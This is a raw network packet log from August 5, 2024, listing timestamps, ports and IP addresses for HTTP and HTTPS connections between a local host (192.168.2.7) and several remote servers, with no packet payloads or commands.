Aug 5, 2024 12:00:54.623651028 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.623658895 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623671055 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623680115 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.623683929 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623707056 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.623724937 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.623780012 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623791933 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623802900 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623814106 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623823881 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623833895 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623836994 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.623847008 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.623863935 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.623891115 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.624036074 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624093056 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.624109030 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624140978 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624151945 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624162912 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624175072 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624187946 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624206066 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.624233007 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.624254942 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624267101 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624277115 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624288082 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624299049 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624330997 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.624350071 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.624727011 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624737978 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624756098 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624773979 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624777079 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.624784946 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624795914 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.624795914 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624824047 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.624845982 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624855042 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624862909 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624869108 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624891996 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.624922991 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.624965906 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624977112 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624988079 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.624998093 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.625009060 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.625032902 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.625049114 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.668765068 CEST	443	49851	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:54.668828011 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.669266939 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.669280052 CEST	443	49851	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:54.671158075 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.671163082 CEST	443	49851	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:54.678555012 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:54.678637981 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.678965092 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.678967953 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:54.679163933 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:54.679167986 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:54.680881023 CEST	443	49854	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.680962086 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.681659937 CEST	443	49854	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.681730032 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.684802055 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.684813023 CEST	443	49854	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.685061932 CEST	443	49854	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.685703039 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.686151028 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.710585117 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.728512049 CEST	443	49854	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.751305103 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.760066032 CEST	443	49852	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.760143995 CEST	49852	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.760828018 CEST	443	49852	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.760890961 CEST	49852	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.762491941 CEST	49852	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.762500048 CEST	443	49852	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.762732029 CEST	443	49852	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.762784004 CEST	49852	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.763138056 CEST	49852	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:54.804517984 CEST	443	49852	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:54.920929909 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921098948 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921108961 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921120882 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921130896 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921142101 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921148062 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921154022 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921156883 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.921189070 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.921209097 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921219110 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.921221018 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921232939 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921243906 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921255112 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921272039 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.921282053 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.921293974 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921305895 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921320915 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921327114 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921334982 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.921338081 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921442032 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.921562910 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921612978 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921619892 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921664953 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.921737909 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921749115 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921770096 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921778917 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.921778917 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921819925 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.921948910 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921974897 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.921986103 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922019005 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.922044992 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.922055960 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922066927 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922077894 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922089100 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922113895 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.922139883 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.922252893 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922265053 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922276020 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922291040 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922301054 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922307014 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922308922 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.922317982 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922328949 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922339916 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922342062 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.922349930 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922360897 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.922395945 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.922763109 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922774076 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922785997 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922815084 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.922838926 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922852039 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922863007 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922874928 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922878981 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.922909021 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.922972918 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.922992945 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.923002958 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.923010111 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.923012972 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.923019886 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.923027992 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.923028946 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.923034906 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.923060894 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.923074961 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.923075914 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.923090935 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:54.923120022 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:54.970041037 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.081752062 CEST	443	49854	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.081818104 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.081834078 CEST	443	49854	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.082026005 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.082101107 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.082144976 CEST	443	49854	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.082307100 CEST	443	49854	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.082355976 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.082371950 CEST	49854	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.082830906 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.082876921 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.082933903 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.083256960 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.083268881 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.112854004 CEST	443	49851	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.112910032 CEST	443	49851	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.112936020 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.112946033 CEST	443	49851	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.112957001 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.112996101 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.113002062 CEST	443	49851	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.113025904 CEST	443	49851	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.113045931 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.113068104 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.147516966 CEST	49851	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.147533894 CEST	443	49851	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.148160934 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.148204088 CEST	443	49858	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.148267984 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.149406910 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.149420023 CEST	443	49858	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.156897068 CEST	443	49852	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.157015085 CEST	49852	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.157114983 CEST	49852	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.157152891 CEST	443	49852	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.157215118 CEST	49852	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.159094095 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.159141064 CEST	443	49859	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.159348965 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.161962986 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.161978006 CEST	443	49859	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.274331093 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274490118 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274507046 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274518013 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274528027 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274538040 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274549007 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274559975 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274560928 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.274566889 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274590015 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.274590015 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.274638891 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274651051 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274662018 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274672985 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274709940 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.274709940 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.274811029 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274825096 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274837971 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274849892 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274867058 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.274909973 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.274981022 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.274991989 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275002003 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275012016 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275022030 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275022030 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275038004 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275047064 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275069952 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275151014 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275160074 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275171995 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275182009 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275191069 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275192976 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275203943 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275227070 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275227070 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275312901 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275324106 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275336027 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275382996 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275382996 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275484085 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275495052 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275505066 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275521040 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275531054 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275533915 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275541067 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275543928 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275594950 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275641918 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275654078 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275664091 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275674105 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275680065 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275686026 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275707960 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275764942 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.275801897 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275814056 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.275876999 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.276281118 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276290894 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276303053 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276308060 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276320934 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276355028 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.276374102 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.276457071 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276469946 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276489019 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276500940 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276516914 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.276531935 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.276609898 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276638985 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.276705980 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.276766062 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.276784897 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276798010 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276807070 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.276808977 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276818991 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.276819944 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276829004 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.276832104 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276840925 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.276863098 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.276873112 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.276890039 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.276935101 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.276943922 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276954889 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.276977062 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.277003050 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.277128935 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.277147055 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.277173996 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.277635098 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.277683020 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.333602905 CEST	49853	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.333616018 CEST	443	49853	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.335488081 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.335536957 CEST	443	49860	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.335601091 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.335845947 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.335856915 CEST	443	49860	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.624541998 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624571085 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624587059 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624598026 CEST	80	49837	27.221.16.179	192.168.2.7
